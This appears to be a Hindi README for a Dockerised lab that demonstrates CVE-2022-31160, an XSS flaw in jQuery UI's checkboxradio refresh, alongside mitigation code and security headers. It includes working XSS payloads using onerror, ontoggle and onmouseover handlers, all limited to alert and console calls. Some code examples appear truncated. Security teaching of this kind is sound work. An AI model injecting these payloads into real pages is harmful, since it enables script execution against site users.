
jquery XSS Proof of Concept (PoC)
यह प्रोजेक्ट jQuery UI Checkboxradio विजेट भेद्यता (CVE-2022-31160) का प्रदर्शन करता है, जो विजेट रिफ्रेश ऑपरेशन के दौरान HTML एंटिटी डिकोडिंग की अनुमति देता है, जो पोटेंशियली क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों का कारण बन सकता है।
⚠️ इस प्रोजेक्ट में केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए कार्यशील XSS पेलोड शामिल हैं।
जब किसी लेबल के अंदर संलग्न इनपुट पर checkboxradio विजेट को आरंभ किया जाता है, तो विजेट पर .checkboxradio("refresh") कॉल करने से लेबल सामग्री में HTML एंटिटीज़ गलती से डिकोड हो जाती हैं। यह सुरक्षित रूप से एन्कोडेड दुर्भावनापूर्ण सामग्री को निष्पादन योग्य JavaScript में बदल सकता है।
<!-- सुरक्षित एन्कोडेड सामग्री -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- .checkboxradio("refresh") के बाद -->
<label for="checkbox">
Text
<input type="checkbox" id="checkbox">
</label>
# क्लोन करें या प्रोजेक्ट निर्देशिका में जाएं
cd jquery-cve-2022-31160
# Docker इमेज बनाएं
docker build -t jquery-cve-2022-31160 .
# कंटेनर चलाएं
docker run -p 3000:3000 jquery-cve-2022-31160
एक बार कंटेनर चलने के बाद, एक्सेस करें:
jquery-cve-2022-31160/
├── README.md # यह दस्तावेज़ीकरण
├── Dockerfile # Docker कंटेनर कॉन्फ़िगरेशन
├── package.json # Node.js निर्भरताएं
├── server.js # Express.js सर्वर
└── simplified-survey.html # सर्वेक्षण-शैली प्रदर्शन
simplified-survey.html)URL: http://localhost:3000/survey
विशेषताएं:
<img src=x onerror="..."> - तत्काल निष्पादन<details ontoggle="..." open> - तत्काल निष्पादन<span onmouseover="..."> - इंटरैक्टिव निष्पादनविश्लेषण उपकरण:
.checkboxradio("refresh") कॉल किया जाता है// कमजोर ऑपरेशन
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // भेद्यता ट्रिगर करता है
प्रदर्शनों में विभिन्न XSS निष्पादन विधियों का परीक्षण करने के लिए कई पेलोड शामिल हैं:
<!-- नेटवर्क सुरक्षा: एरर इवेंट XSS (तत्काल निष्पादन) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- मोबाइल सुरक्षा: विवरण टॉगल XSS (तत्काल निष्पादन) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- क्लाउड सुरक्षा: इंटरैक्टिव XSS (उपयोगकर्ता इंटरैक्शन आवश्यक) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span>
onerror)src=x से विफल होता है)ontoggle)open विशेषता के साथ गारंटीड ट्रिगर)onmouseover)इवेंट हैंडलर लाभ:
innerHTML के माध्यम से तत्व डाले जाने पर निष्पादित होते हैं<script> टैग प्रतिबंधों को बायपास करते हैंontoggle) अत्यधिक विश्वसनीय होते हैंएन्कोडिंग बायपास:
<, ") jQuery UI रिफ्रेश द्वारा डिकोड हो जाती हैंdocker build -t jquery-cve-2022-31160 .
# डिफ़ॉल्ट पोर्ट 3000 पर चलाएं
docker run -p 3000:3000 jquery-cve-2022-31160
# कस्टम पोर्ट पर चलाएं
docker run -p 8080:3000 jquery-cve-2022-31160
# बैकग्राउंड में चलाएं
docker run -d -p 3000:3000 jquery-cve-2022-31160
# कस्टम नाम से चलाएं
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# चल रहे कंटेनरों की सूची
docker ps
# कंटेनर रोकें
docker stop jquery-cve-2022-31160
# कंटेनर हटाएं
docker rm jquery-cve-2022-31160
# इमेज हटाएं
docker rmi jquery-cve-2022-31160
यह भेद्यता उन अनुप्रयोगों में शोषित की जा सकती है जो:
.checkboxradio("refresh") कॉल खोजें// रिफ्रेश से पहले सामग्री को सैनिटाइज़ या मान्य करें
function safeRefresh(element) {
// रिफ्रेश से पहले लेबल सामग्री मान्य करें
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// संभावित खतरनाक सामग्री की जाँच करें
if (content.includes('<') || content.includes('javascript:')) {
console.warn('संभावित खतरनाक सामग्री का पता चला');
return;
}
element.checkboxradio("refresh");
}
// Express.js सुरक्षा हेडर
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
यह प्रोजेक्ट निम्नलिखित के लिए एक शैक्षिक संसाधन के रूप में कार्य करता है:
इस प्रदर्शन का उपयोग करते समय:
योगदान का स्वागत है! कृपया:
यह सॉफ्टवेयर केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। लेखक और योगदानकर्ता:
यह प्रोजेक्ट शैक्षिक उद्देश्यों के लिए MIT लाइसेंस के तहत प्रदान किया गया है।
सुरक्षा अनुसंधान और शिक्षा के लिए बनाया गया | जिम्मेदारी से उपयोग करें | उचित चैनलों के माध्यम से भेद्यताओं की रिपोर्ट करें